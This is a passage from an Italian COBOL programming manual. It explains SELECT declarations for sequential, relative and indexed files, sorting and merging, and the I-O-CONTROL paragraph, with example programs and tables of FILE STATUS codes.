Il paragrafo '**FILE CONTROL**' si articola in dichiarazioni '**SELECT**', una per ogni file, secondo lo schema sintattico sintetico seguente:

```
FILE-CONTROL.
------------
    SELECT file-name ASSIGN TO hardware-name [altre-opzioni].
    ------           ------
    ...
```

Il modo in cui l'istruzione '**SELECT**' si articola, dipende dall'organizzazione del file e dal metodo di accesso specifico che si vuole attuare sullo stesso. Nella logica originale del linguaggio, in questa fase non viene ancora indicato il nome del file reale, secondo il sistema operativo, perché generalmente per questa informazione si agisce nella divisione '**DATA DIVISION**'; tuttavia, spesso il compilatore permette, o richiede, di specificare il nome del file reale proprio nell'istruzione '**SELECT**'.

83.4.3.2 File fisici e file «logici»

L'organizzazione di un file è una caratteristica immutabile, che stabilisce, oltre che le potenzialità di accesso, anche la sua forma fisica «reale», ovvero quella che viene gestita attraverso l'astrazione del sistema operativo.

L'organizzazione sequenziale è quella più semplice, dove normalmente i record logici del linguaggio corrispondono esattamente al contenuto del file fisico che li contiene.

L'organizzazione relativa richiede la capacità di abbinare delle informazioni ai record logici, per esempio per poter annotare che un record è stato cancellato. Per fare questo, il compilatore può inserire tutte le informazioni necessarie in un file solo, oppure può avvalersi di due file reali: uno per i dati, l'altro per le informazioni sui record.

L'organizzazione a indice richiede tutte le funzionalità di quella relativa, con l'aggiunta di poter gestire l'accesso in base a una o più chiavi. Nei compilatori COBOL attuali, è molto probabile che tutte le informazioni necessarie vengano gestite in un file fisico soltanto, ma originariamente era frequente l'uso di un file per i dati e di altri file per le chiavi (uno per ogni chiave).

In base a questa premessa, si deve intendere che un file che viene creato con una certa organizzazione, può essere usato solo con quella; inoltre, si può contare sul fatto che un file creato con un programma realizzato attraverso un certo compilatore COBOL, non può essere utilizzato con un programma generato con un altro.

Di fronte a questo problema di compatibilità dei dati, i file organizzati in modo sequenziale sono sempre l'unica garanzia per un trasferimento dei dati. D'altra parte, negli anni in cui il linguaggio COBOL aveva il suo massimo splendore, i nastri magnetici rappresentavano l'unità di memorizzazione «standard» tra le varie architetture proprietarie.

83.4.3.3 Istruzione «SELECT» per i file sequenziali

Lo schema sintattico semplificato per l'istruzione '**SELECT**', da usare nel paragrafo '**FILE-CONTROL**', per dichiarare un file sequenziale è quello che si può vedere nella figura successiva:

```
                              /                   \
                              |   hardware-name   |
SELECT file-name ASSIGN TO    <                   >
------           ------       | literal-file-name |
                              \                   /
    .--              .--   --. --.
    |                | AREA  |   |
    | RESERVE integer |       |   |
    | -------         | AREAS |   |
    '--              '--   --' --'

    [ ORGANIZATION IS [LINE] SEQUENTIAL ]
      ------------    ----   ----------
    [ ACCESS MODE IS SEQUENTIAL ]
      ------         ----------
    [ FILE STATUS IS data-name ].
           ------
```

Il file sequenziale può essere letto o scritto soltanto in modo sequenziale, a partire dall'inizio. Se l'unità di memorizzazione che lo contiene è sequenziale per sua natura, come avviene per un nastro o un lettore di schede perforate, si può avere solo una fase di lettura o una fase di scrittura, senza la possibilità di mescolare le due operazioni, mentre se si dispone di un'unità di memorizzazione ad accesso diretto, come nel caso di un disco, si può leggere e poi sovrascrivere lo stesso record.

Nello schema sintattico, la metavariabile ***file-name*** deve essere sostituita con il nome che si vuole attribuire al file nell'ambito del programma (non si tratta del nome che questo ha eventualmente per il sistema operativo). La metavariabile ***hardware-name*** va sostituita con un nome che serve a identificare l'unità di memorizzazione che contiene il file; questo nome dipende dal compilatore ma generalmente si mette '**DISK**' per indicare un file su disco. Altri nomi per la metavariabile ***hardware-name*** potrebbero essere: '**TAPE**', '**PRINTER**', '**PUNCH**', '**READER**' (gli ultimi due sarebbero un perforatore e un lettore di schede).

Il linguaggio COBOL è fatto per poter essere adattato a sistemi operativi molto diversi. In un sistema Unix, l'accesso alle unità di memorizzazione avviene attraverso dei file di dispositivo, pertanto, a seconda del compilatore, potrebbe anche essere superfluo dichiarare il tipo di unità di memorizzazione in questo modo, anche se in passato il linguaggio obbligava a farlo. Proprio per questo motivo, ci sono compilatori che, al posto di indicare il tipo di unità fisica attraverso un nome prestabilito, richiedono di mettere subito il percorso del file a cui si vuole fare riferimento, nonostante il linguaggio preveda per questo una dichiarazione separata nella divisione '**DATA DIVISION**'. In questo senso, nello schema sintattico appare la possibilità di indicare una stringa alfanumerica con il percorso del file (***literal-file-name***).

Nella dichiarazione '**RESERVE** ***integer***', la metavariabile ***integer*** rappresenta un numero intero di record da usare come memoria tampone. Se non si usa questa dichiarazione che, come si vede dallo schema sintattico, è facoltativa, viene usata la dimensione predefinita.

La dichiarazione '**ORGANIZATION IS SEQUENTIAL**' è facoltativa e sottintesa; tuttavia va osservato il significato che assume quando si aggiunge la parola '**LINE**'. In generale, il linguaggio COBOL considera i file come composti da record di dimensione uniforme. Quando però si

vuole lavorare con i file di testo, le righe di questi file sono suddivise in base alla presenza del codice di interruzione di riga (che può cambiare da un sistema operativo all'altro). Volendo considerare in COBOL le righe di un file di testo pari a dei record di dimensione variabile, occorre aggiungere l'opzione '**LINE**', così da chiarire che si tratta sì di un'organizzazione sequenziale, ma di un file suddiviso in «righe».

La dichiarazione '**ACCESS MODE IS SEQUENTIAL**' è facoltativa, perché l'accesso a un file organizzato in modo sequenziale può essere solo sequenziale.

La dichiarazione '**FILE STATUS IS** ***data-name***' consente di indicare una variabile (da specificare nella sezione '**WORKING-STORAGE SECTION**' della divisione '**DATA DIVISION**') da usare eventualmente per conoscere lo stato dell'ultima operazione svolta sul file. Questa variabile deve poter rappresentare un valore di due caratteri (il modello di definizione della variabile deve essere '**XX**') e quando contiene il valore zero indica che l'ultima operazione è stata eseguita con successo (si vedano le tabelle 83.48 e 83.49, che appaiono alla fine del capitolo).

Il punto fermo che conclude l'istruzione '**SELECT**' appare una volta sola, alla fine; tutta l'istruzione deve risiedere nell'area B.

Viene mostrato un esempio completo di un programma COBOL che legge un file sequenziale:

Listato 83.34. Programma elementare che legge un file sequenziale.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ESEMPIO-SEQUENZIALE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 INSTALLATION. NANOLINUX IV,
000500               TINYCOBOL 0.61.
000600 DATE-WRITTEN. 2005-02-16.
000700 ENVIRONMENT DIVISION.
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100     SELECT FILE-NAME ASSIGN TO DISK
001200                      ORGANIZATION IS SEQUENTIAL
001300                      ACCESS MODE IS SEQUENTIAL
001400                      FILE STATUS IS DATA-NAME.
001500*
001600 DATA DIVISION.
001700 FILE SECTION.
001800 FD  FILE-NAME
001900     LABEL RECORD IS STANDARD
002000     VALUE OF FILE-ID IS "input.seq".
002100 01  RECORD-NAME  PIC X(20).
002200 WORKING-STORAGE SECTION.
002300 01  DATA-NAME    PIC XX.
002400 PROCEDURE DIVISION.
002500 MAIN.
002600     OPEN INPUT  FILE-NAME.
002700     DISPLAY "FILE STATUS: ", DATA-NAME.
002800     PERFORM READ-FILE UNTIL DATA-NAME NOT = ZERO.
002900     CLOSE FILE-NAME.
003000     STOP RUN.
003100 READ-FILE.
003200     READ FILE-NAME.
```

```
003300     DISPLAY "FILE STATUS: " DATA-NAME, " RECORD: ", RECORD-NAME.
```

Il file indicato come '**`FILE-NAME`**' è associato in pratica al file '`input.seq`'. Si può supporre che questo file abbia il contenuto seguente, senza alcun codice di interruzione di riga:

```
aaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbccccccccccccccccccccdddddddddddddddddddd
```

Eseguendo il programma dell'esempio si potrebbe ottenere il testo seguente attraverso lo schermo:

```
FILE STATUS: 00
FILE STATUS: 00 RECORD: aaaaaaaaaaaaaaaaaaaa
FILE STATUS: 00 RECORD: bbbbbbbbbbbbbbbbbbbb
FILE STATUS: 00 RECORD: cccccccccccccccccccc
FILE STATUS: 00 RECORD: dddddddddddddddddddd
FILE STATUS: 10 RECORD: dddddddddddddddddddd
```

83.4.3.4 Istruzione «SELECT» per i file relativi

Lo schema sintattico semplificato per l'istruzione '**`SELECT`**', da usare nel paragrafo '**`FILE-CONTROL`**', per dichiarare un file organizzato in modo «relativo» è quello che si può vedere nella figura successiva:

```
                            /                   \
                            |       DISK        |
SELECT file-name ASSIGN TO  <       ----        >
------           ------     | literal-file-name |
                            \                   /

    .--               .--   --. --.
    |                 | AREA  |   |
    | RESERVE integer |       |   |
    | -------         | AREAS |   |
    '--               '--   --' --'

    [ ORGANIZATION IS ] RELATIVE
      ------------      --------
    .--               /   SEQUENTIAL                               \ --.
    |                 |   ----------                               |   |
    |                 |  /         \                               |   |
    | ACCESS MODE IS  <  | RANDOM  |                               >   |
    | ------          |  < ------  >  RELATIVE KEY IS data-name-1  |   |
    |                 |  | DYNAMIC |  --------                     |   |
    '--               \  \ ------- /                               / --'

    [ FILE STATUS IS data-name-2 ].
           ------
```

Il file organizzato in modo relativo può essere utilizzato secondo un accesso sequenziale, oppure facendo riferimento ai record per numero, considerando che il primo ha proprio il numero uno. Quando si individuano i record per numero, si distinguono due modalità di accesso: diretto ('**`RANDOM`**') e dinamico ('**`DYNAMIC`**'). L'accesso diretto richiede che per ogni operazione l'indicazione del numero del record a cui si vuole fare riferimento, mentre con l'accesso dinamico è anche possibile eseguire delle operazioni di lettura sequenziali ('**`READ NEXT`**').

L'organizzazione relativa, oltre alle operazioni di lettura e scrittura, prevede la cancellazione dei record, che comunque possono essere rimpiazzati successivamente attraverso un'operazione di scrittura. Si osservi comunque che un record che risulta essere stato cancellato, non può essere letto.

Osservando lo schema sintattico si può intuire che la prima parte dell'istruzione '**`SELECT`**' funzioni nello stesso modo di un file organizzato sequenzialmente; la differenza più importante riguarda la definizione del tipo di unità di memorizzazione che, date le caratteristiche dei file organizzati in modo relativo, deve consentire un accesso diretto ai dati.

La dichiarazione '**`RESERVE`** ***integer***' si usa nello stesso modo del file organizzato sequenzialmente.

L'indicazione dell'organizzazione, attraverso la dichiarazione '**`ORGANIZATION IS RELATIVE`**' è obbligatoria, anche se probabilmente è sufficiente scrivere soltanto '**`RELATIVE`**'.

Se non viene specificata la dichiarazione '**`ACCESS MODE`**', si intende che l'accesso debba avvenire in modo sequenziale, altrimenti vale quanto indicato espressamente. Se l'accesso richiesto è diretto o dinamico, è necessario indicare quale variabile usare per specificare il numero del record, nella posizione occupata nello schema sintattico dalla metavariabile ***data-name-1*** (da specificare ulteriormente nella sezione '**`WORKING-STORAGE SECTION`**' della divisione '**`DATA DIVISION`**').

La dichiarazione '**`FILE STATUS IS`** ***data-name-2***' funziona nello stesso modo descritto a proposito dei file organizzati in modo sequenziale.

Il punto fermo che conclude l'istruzione '**`SELECT`**' appare una volta sola, alla fine; tutta l'istruzione deve risiedere nell'area B.

Viene mostrato un esempio completo di un programma COBOL che legge un file relativo, ad accesso diretto, scandendo sequenzialmente il numero del record:

Listato 83.38. Programma elementare che legge un file relativo, ad accesso diretto.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ESEMPIO-RELATIVO-DIRETTO.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-08.
000500 ENVIRONMENT DIVISION.
000600 INPUT-OUTPUT SECTION.
000700*
000800 FILE-CONTROL.
000900     SELECT MIO-FILE ASSIGN TO "input.rel"
001000                     ORGANIZATION IS RELATIVE
001100                     ACCESS MODE IS RANDOM
001200                     RELATIVE KEY IS N-RECORD
001300                     FILE STATUS IS STATO-DEL-FILE.
001400*
001500 DATA DIVISION.
001600 FILE SECTION.
001700 FD  MIO-FILE
001800     LABEL RECORD IS STANDARD.
001900 01  MIO-RECORD  PIC X(20).
002000 WORKING-STORAGE SECTION.
002100 77  N-RECORD           PIC 9999 COMP VALUE IS ZERO.
002200 77  STATO-DEL-FILE     PIC XX.
```

```
002300 PROCEDURE DIVISION.
002400 MAIN.
002500     OPEN INPUT MIO-FILE.
002600     DISPLAY "FILE STATUS: ", STATO-DEL-FILE.
002700     PERFORM READ-FILE UNTIL STATO-DEL-FILE NOT = ZERO.
002800     CLOSE MIO-FILE.
002900     STOP RUN.
003000 READ-FILE.
003100     ADD 1 TO N-RECORD.
003200     READ MIO-FILE
003300          INVALID KEY DISPLAY "INVALID KEY!".
003400     DISPLAY "FILE STATUS: " STATO-DEL-FILE,
003500             " RECORD: ", N-RECORD, " ", MIO-RECORD.
003600
```

Il file indicato come '**MIO-FILE**' è associato in pratica al file '`input.rel`'. Si può supporre che questo file sia composto dall'elenco seguente di record logici:

1. '**aaaaaaaaaaaaaaaaaaaa**'
2. '**bbbbbbbbbbbbbbbbbbbb**'
3. '**cccccccccccccccccccc**'
4. '**dddddddddddddddddddd**'

Eseguendo il programma dell'esempio si potrebbe ottenere il testo seguente attraverso lo schermo:

```
FILE STATUS: 00
FILE STATUS: 00 RECORD: 0001 aaaaaaaaaaaaaaaaaaaa
FILE STATUS: 00 RECORD: 0002 bbbbbbbbbbbbbbbbbbbb
FILE STATUS: 00 RECORD: 0003 cccccccccccccccccccc
FILE STATUS: 00 RECORD: 0004 dddddddddddddddddddd
INVALID KEY!
FILE STATUS: 23 RECORD: 0005 dddddddddddddddddddd
```

Segue un altro esempio completo per la lettura di un file relativo, utilizzando un accesso dinamico, partendo dal primo record e selezionando i successivi attraverso la richiesta del prossimo:

Listato 83.40. Programma elementare che legge un file relativo, ad accesso dinamico.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ESEMPIO-RELATIVO-DINAMICO.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-08.
000500 ENVIRONMENT DIVISION.
000600 INPUT-OUTPUT SECTION.
000700*
000800 FILE-CONTROL.
000900     SELECT MIO-FILE ASSIGN TO "input.rel"
001000                     ORGANIZATION IS RELATIVE
```

```
001100                     ACCESS MODE IS DYNAMIC
001200                     RELATIVE KEY IS N-RECORD
001300                     FILE STATUS IS STATO-DEL-FILE.
001400*
001500 DATA DIVISION.
001600 FILE SECTION.
001700 FD  MIO-FILE
001800     LABEL RECORD IS STANDARD.
001900 01  MIO-RECORD  PIC X(20).
002000 WORKING-STORAGE SECTION.
002100 77  N-RECORD            PIC 9999 COMP VALUE IS 1.
002200 77  STATO-DEL-FILE      PIC XX.
002300 PROCEDURE DIVISION.
002400 MAIN.
002500     OPEN INPUT MIO-FILE.
002600     DISPLAY "FILE STATUS: ", STATO-DEL-FILE.
002700     READ MIO-FILE
002800          INVALID KEY DISPLAY "INVALID KEY!".
002900     PERFORM READ-FILE UNTIL STATO-DEL-FILE NOT = ZERO.
003000     CLOSE MIO-FILE.
003100     STOP RUN.
003200 READ-FILE.
003300     DISPLAY "FILE STATUS: " STATO-DEL-FILE,
003400             " RECORD: ", N-RECORD, " ", MIO-RECORD.
003500     READ MIO-FILE NEXT RECORD
003600          AT END DISPLAY "END OF FILE!".
003700
```

Il file che viene letto è lo stesso dell'esempio precedente e il risultato si dovrebbe ottenere, si può vedere così:

```
FILE STATUS: 00
FILE STATUS: 00 RECORD: 0001 aaaaaaaaaaaaaaaaaaaa
FILE STATUS: 00 RECORD: 0002 bbbbbbbbbbbbbbbbbbbb
FILE STATUS: 00 RECORD: 0003 cccccccccccccccccccc
FILE STATUS: 00 RECORD: 0004 dddddddddddddddddddd
END OF FILE!
```

83.4.3.5 Istruzione «SELECT» per i file a indice

Lo schema sintattico semplificato per l'istruzione '**SELECT**', da usare nel paragrafo '**FILE-CONTROL**', per dichiarare un file organizzato a indici è quello che si può vedere nella figura successiva:

```
                          /                 \
                          |       DISK      |
SELECT file-name ASSIGN TO  <       ----      >
------           ------   | literal-file-name |
                          \                 /

    .--               .--   --. --.
    |                 | AREA  |   |
    | RESERVE integer |       |   |
    | -------         | AREAS |   |
    '--               '--   --' --'

    [ ORGANIZATION IS ] INDEXED
      ------------      -------
    .--               /              \ --.
    |                 |  SEQUENTIAL  |   |
    |                 |              |   |
    | ACCESS MODE IS  <  RANDOM      >   |
    | ------          |  ------      |   |
    |                 |  DYNAMIC     |   |
    '--               \  -------     / --'

    RECORD KEY IS data-name-1 [WITH DUPLICATES]
    ------                          ----------
    [ ALTERNATE RECORD KEY IS data-name-2 [WITH DUPLICATES] ]...
      ---------                                 ----------
    [ FILE STATUS IS data-name-3 ].
           ------
```

Un file organizzato a indice è un file che consente un accesso diretto ai record in base a una chiave costituita da una porzione del record stesso. A titolo di esempio, si può immaginare un file contenente i dati anagrafici dei dipendenti di un'azienda, che in una posizione precisa dei record riporta il numero di matricola di ognuno; in tal modo, il numero di matricola può essere usato per definire la chiave di accesso ai record.

Il file organizzato a indice può disporre di una o più chiavi di accesso e può essere consentita o meno la presenza di record con chiavi uguali.

Rispetto ai file organizzati sequenzialmente o in modo relativo, lo schema sintattico per i file organizzati a indice ha le dichiarazioni '**`RECORD KEY`**' e '**`ALTERNATE RECORD KEY`**' per poter specificare la chiave o le chiavi di accesso. Le metavariabili '**`data-name-1`**' e '**`data-name-2`**' devono essere nomi di porzioni di record, come dichiarato nella divisione '**`DATA DIVISION`**', in corrispondenza della descrizione del record stesso. Naturalmente, l'opzione '**`WITH DUPLICATES`**' serve a dichiarare l'intenzione di gestire chiavi uguali su più record.

83.4.3.6 Riordino e fusione

Oltre ai file comuni, per i quali si stabilisce un'organizzazione e un tipo di accesso, sono previsti dei file da usare soltanto per ottenere un riordino o una fusione (*sort*, *merge*). Per questi file occorre una dichiarazione apposita con l'istruzione '**`SELECT`**', secondo lo schema sintattico seguente:

```
                                      /                 \
                                      |       DISK      |
SELECT sort-merge-file-name ASSIGN TO  <       ----      > .
------                      ------    | literal-file-name |
                                      \                 /
```

Viene proposto un esempio di riordino di file, nel quale, in particolare, si dichiarano i nomi dei file su disco, direttamente nell'istruzione '**SELECT**':

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ORDINA.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-ORDINARE     ASSIGN TO "input.seq".
001300     SELECT FILE-ORDINATO        ASSIGN TO "output.seq".
001400     SELECT FILE-PER-IL-RIORDINO ASSIGN TO "sort.tmp".
001500*
001600 DATA DIVISION.
001700*
001800 FILE SECTION.
001900*
002000 FD  FILE-DA-ORDINARE.
002100 01  RECORD-DA-ORDINARE           PIC X(80).
002200*
002300 FD  FILE-ORDINATO.
002400 01  RECORD-ORDINATO              PIC X(80).
002500*
002600 SD  FILE-PER-IL-RIORDINO.
002700*
002800 01  RECORD-PER-IL-RIORDINO.
002900     02  CHIAVE-ORDINAMENTO       PIC X(10).
003000     02  FILLER                   PIC X(70).
003100*
003200 PROCEDURE DIVISION.
003300*
003400 MAIN.
003500     SORT FILE-PER-IL-RIORDINO,
003600          ON ASCENDING KEY CHIAVE-ORDINAMENTO,
003700          USING FILE-DA-ORDINARE,
003800          GIVING FILE-ORDINATO.
003900*
004000     STOP RUN.
004100*
```

Come si può vedere, si vuole ordinare il file '`input.seq`' per generare il file '`output.seq`', ordinato. Per fare questo, si usa un file intermedio, denominato '`sort.tmp`'. Al termine dell'operazione, non dovrebbe rimanere traccia del file intermedio.

Si osservi che non si rende necessaria l'apertura dei file coinvolti per portare a termine l'operazione.

L'esempio seguente riguarda la fusione: si hanno i file '`input-1.seq`' e '`input-2.seq`' ordinati e si vuole ottenere il file '`output.seq`' con la somma dei record, mantenendo l'ordinamento:

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   MERGE.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-INPUT-1         ASSIGN TO "input-1.seq".
001300     SELECT FILE-INPUT-2         ASSIGN TO "input-2.seq".
001400     SELECT FILE-OUTPUT          ASSIGN TO "output.seq".
001500     SELECT FILE-PER-LA-FUSIONE  ASSIGN TO "merge.tmp".
001600*
001700 DATA DIVISION.
001800*
001900 FILE SECTION.
002000*
002100 FD  FILE-INPUT-1
002200 01  RECORD-1                     PIC X(80).
002300*
002400 FD  FILE-INPUT-2
002500 01  RECORD-2                     PIC X(80).
002600*
002700 FD  FILE-OUTPUT
002800 01  RECORD-OUTPUT                PIC X(80).
002900*
003000 SD  FILE-PER-LA-FUSIONE.
003100*
003200 01  RECORD-PER-LA-FUSIONE.
003300     02  CHIAVE-ORDINAMENTO       PIC X(10).
003400     02  FILLER                   PIC X(70).
003500*
003600 PROCEDURE DIVISION.
003700*
003800 MAIN.
003900     MERGE FILE-PER-LA-FUSIONE
004000           ON ASCENDING KEY CHIAVE-ORDINAMENTO,
004100           USING FILE-INPUT-1,
004200                 FILE-INPUT-2,
004300           GIVING FILE-OUTPUT.
004400*
004500     STOP RUN.
004600*
```

Si osservi che esistono compilatori COBOL, di buona qualità, che però non offrono le funzionalità di riordino e di fusione, oppure non in modo completo. È frequente l'assenza della

funzione per la fusione dei file ordinati.

83.4.3.7 Paragrafo «I-O-CONTROL»

Il paragrafo '**I-O-CONTROL**' è opzionale e il suo scopo è quello di specificare l'utilizzo comune delle aree di memoria centrale adibite alla gestione dei file.

```
I-O-CONTROL.
-----------
    .--      .--          --.                                     --.
    |        |  RECORD      |                                       |
    |        |  ------      |                                       |
    |  SAME  |  SORT        |  AREA FOR file-name-1 [file-name-2]...  |... .
    |  ----  |  ----        |                                       |
    |        |  SORT-MERGE  |                                       |
    '--      '------------__'                                     --'
```

L'utilità dell'utilizzo del paragrafo '**I-O-CONTROL**' dipende molto dal compilatore, che potrebbe anche limitarsi a ignorare l'istruzione '**SAME**...**AREA**', in tutto o solo in parte. Tuttavia, quando l'istruzione '**SAME**...**AREA**' viene presa in considerazione, ci sono delle conseguenze nell'accesso ai file, che bisogna conoscere.

Per cominciare: si intuisce dallo schema sintattico che l'istruzione '**SAME**...**AREA**' inizia nell'area B del modulo di programmazione, si vede che il punto fermo è richiesto solo alla fine del gruppo di istruzioni '**SAME**...**AREA**', inoltre sono evidenti quattro possibilità:

```
SAME AREA FOR file-name-1 [file-name-2]... .
----
SAME RECORD AREA FOR file-name-1 [file-name-2]... .
---- ------
SAME SORT AREA FOR file-name-1 [file-name-2]... .
---- ----
SAME SORT-MERGE AREA FOR file-name-1 [file-name-2]... .
---- ----------
```

Utilizzando la prima forma dell'istruzione '**SAME AREA**', si intende richiedere al compilatore che la gestione dei file elencati sia fatta condividendo tutto quello che si può condividere nella memoria centrale. Così facendo, nell'ambito del gruppo specificato, solo un file può essere aperto simultaneamente; inoltre, se si utilizzano più istruzioni '**SAME AREA**', un file può appartenere soltanto a uno di questi raggruppamenti.

Utilizzando l'istruzione '**SAME RECORD AREA**' si richiede al compilatore di gestire lo spazio della memoria tampone (dei record) di un gruppo di file in modo comune. Così facendo, la lettura di un record di un file del gruppo, comporta il fatto che gli stessi dati siano disponibili come se fossero stati letti da tutti gli altri file del gruppo. I file di un gruppo definito con questa istruzione possono essere aperti simultaneamente, ma le operazioni di accesso ai dati non possono essere simultanee; inoltre, un file può appartenere a un solo raggruppamento di questo tipo.

Teoricamente, i file indicati in un raggruppamento con l'istruzione '**SAME AREA**' possono apparire anche in un raggruppamento con l'istruzione '**SAME RECORD AREA**', ma in tal caso deve trattarsi di tutti quelli che appartengono al primo di questi due (tutti quelli in '**SAME AREA**' devono essere parte di quello in '**SAME RECORD AREA**'). Inoltre, questo fatto comporta che i file che si trovano anche in '**SAME AREA**' non possono essere aperti simultaneamente.

Nei manuali COBOL classici si sottolinea il fatto che la condivisione dei record offra dei vantaggi in velocità e in risparmio di memoria; in particolare si suggerisce in tali manuali la possibilità di dichiarare nel dettaglio uno solo dei record del gruppo, oppure la possibilità di ridefinire i record cambiando il punto di vista (il record rispetto a quello di un altro). Tuttavia, considerata la potenza elaborativa degli elaboratori attuali, dal momento che esiste comunque la possibilità di ridefinire la suddivisione di un record, l'uso di questo paragrafo diventa sconsigliabile, se non altro per le complicazioni che si creano nell'interpretazione umana del programma sorgente.

Le istruzioni '**`SAME SORT AREA`**' e '**`SAME SORT-MERGE AREA`**' sono equivalenti e consentono di condividere la memoria utilizzata per i file che servono specificatamente per il riordino o la fusione. Premesso che in questi raggruppamenti non possono apparire file che appartengono a un gruppo definito come '**`SAME AREA`**', è invece possibile inserire anche nomi di file che non sono stati dichiarati per l'ordinamento o la fusione, ma la loro presenza fa sì che questi file non possano essere aperti quando invece lo sono quelli che si utilizzano proprio per tale scopo.

I file dichiarati con l'indicatore '**`SD`**' nella sezione '**`FILE SECTION`**' servono per portare a termine le operazioni di riordino e di fusione, ma si avvalgono di file in ingresso e di file in uscita, che vengono dichiarati normalmente con l'indicatore '**`FD`**'. Tutti i file coinvolti in un procedimento di riordino e di fusione, non devono essere aperti esplicitamente durante questa fase.

Tabella 83.48. Codici di due caratteri sullo stato dei file ('**`FILE STATUS`**'), secondo lo standard del 1985: il significato del primo dei due caratteri.

Codice	Descrizione
`0`***x***	L'ultimo accesso al file si è concluso sostanzialmente con successo.
`1`***x***	Si è verificato un tentativo di leggere oltre la fine del file.
`2`***x***	Si è verificato un errore riferito alla chiave di accesso di un file organizzato a indici.
`3`***x***	Si è verificato un errore che impedisce di accedere ulteriormente al file.
`4`***x***	Si è verificato un errore «logico», dovuto a una sequenza errata nelle operazioni o al tentativo di eccedere rispetto ai limiti stabiliti.
`9`***x***	Si tratta di errori diversi, stabiliti senza uno standard precisato da chi ha realizzato il compilatore.

Tabella 83.49. Codici di due caratteri sullo stato dei file ('**`FILE STATUS`**'), secondo lo standard del 1985: significato dettagliato.

Codice	Organizzazione sequenziale	Organizzazione relativa	Organizzazione a indici
`00`	Operazione eseguita con successo.	idem	idem

Codice	Organizzazione sequenziale	Organizzazione relativa	Organizzazione a indici
`02`	--	--	L’operazione ha avuto successo, ma è stata scoperta una chiave doppia: la lettura di un record evidenzia che è disponibile un altro record con la stessa chiave; la scrittura di un record risulta avere una chiave già presente in altri.
`04`	La lunghezza del record letto non corrisponde a quella che dovrebbe avere.	idem	idem
`05`	Il tentativo di aprire un file opzionale mancante è risultato nella sua creazione e apertura successiva.	idem	idem
`07`	Il file non si trova su nastro e le opzioni specifiche per tale tipo di unità, contenute nei comandi di apertura o di chiusura del file, sono state ignorate.	--	--
`10`	Si è verificato un tentativo di leggere oltre la fine del file, oppure di leggere un file opzionale che non risulta presente.	--	--
`14`	--	La dimensione in record del file è più grande della capacità della variabile usata come indice. Questo tipo di errore si può manifestare quando si tenta una lettura sequenziale che dovrebbe incrementare automaticamente il valore dell’indice, ma si trova a non poterlo fare.	--
`21`	--	--	Si è verificato un errore di sequenza nelle chiavi durante un accesso sequenziale al file.
`22`	--	Si è verificato un tentativo di scrivere un record già esistente (senza prima averlo cancellato).	Si è verificato un tentativo di scrivere un record con chiave doppia, quando ciò non è consentito.
`23`	--	Il record richiesto non esiste.	idem

Codice	Organizzazione sequenziale	Organizzazione relativa	Organizzazione a indici
`24`	--	Tentativo di scrittura oltre il limite della dimensione consentita, oppure tentativo di scrittura sequenziale di un record che ha un numero più grande della capacità della variabile usata come chiave.	Tentativo di scrittura oltre il limite della dimensione consentita.
`30`	Errore permanente senza altre indicazioni.	idem	idem
`34`	Si è verificato un errore dovuto a un tentativo di scrittura oltre il limite fisico del file.	--	--
`35`	Non è stato possibile aprire un file indispensabile.	idem	idem
`36`	L'operazione richiesta non è gestita dall'unità che contiene il file.	idem	idem
`38`	È stata tentata l'apertura di un file che risulta essere stato chiuso con l'opzione '**`LOCK`**'.	idem	idem
`39`	È stata tentata l'apertura di un file, le cui caratteristiche reali sono incompatibili con quelle dichiarate nel programma.	idem	idem
`41`	È stato aperto un file che risulta essere già aperto.	idem	idem
`42`	È stato chiuso un file che non risultava essere aperto.	idem	idem
`43`	Non è stato eseguito un comando '**`READ`**' prima del comando '**`REWRITE`**'.	Durante un accesso sequenziale, non è stato eseguito un comando '**`READ`**' prima del comando '**`REWRITE`**' o del comando '**`DELETE`**'.	Durante un accesso sequenziale, non è stato eseguito un comando '**`READ`**' prima del comando '**`REWRITE`**' o del comando '**`DELETE`**'.
`44`	Si è verificato un problema legato alla dimensione del record.	idem	idem
`46`	Durante un accesso sequenziale in lettura, si è verificato un errore, successivo a un altro tentativo fallito di lettura.	idem	idem
`47`	Tentativo di lettura di un file che non risulta essere aperto per questo tipo di accesso.	idem	idem
`48`	Tentativo di scrittura di un file che non risulta essere aperto per questo tipo di accesso.	idem	idem

Codice	Organizzazione sequenziale	Organizzazione relativa	Organizzazione a indici
49	Tentativo di riscrittura di un file che non risulta essere aperto per questo tipo di accesso.	idem	idem

83.5 Divisione «DATA DIVISION»

La divisione '**DATA DIVISION**' costituisce la terza parte, la più complessa, di un programma COBOL e ha lo scopo di descrivere tutti i dati (variabili e costanti) utilizzati nel programma. Si distinguono in particolare: i record dei file a cui si vuole accedere, altre variabili e valori costanti creati o utilizzati dal programma.

La divisione si articola normalmente in tre sezioni: '**FILE SECTION**', per tutte le informazioni riguardanti i file dichiarati nella divisione '**ENVIRONMENT DIVISION**', soprattutto per quanto riguarda la struttura del record; '**WORKING-STORAGE SECTION**' per tutte le variabili (che possono essere sia scalari, sia strutturate, ma in questo secondo caso vengono chiamate ugualmente record, anche se non sono associate direttamente ad alcun file) e le costanti necessarie per l'elaborazione; '**LINKAGE SECTION**', per la dichiarazione dei dati condivisi con altri programmi.

In questo manuale la descrizione della sezione '**LINKAGE SECTION**' viene omessa del tutto; pertanto, lo schema sintattico seguente non la riporta:

```
     DATA-DIVISION.
     -------------
  .--
  |
  |  FILE SECTION.
  |  ------------
  '--
         .--                                                    --.  --.
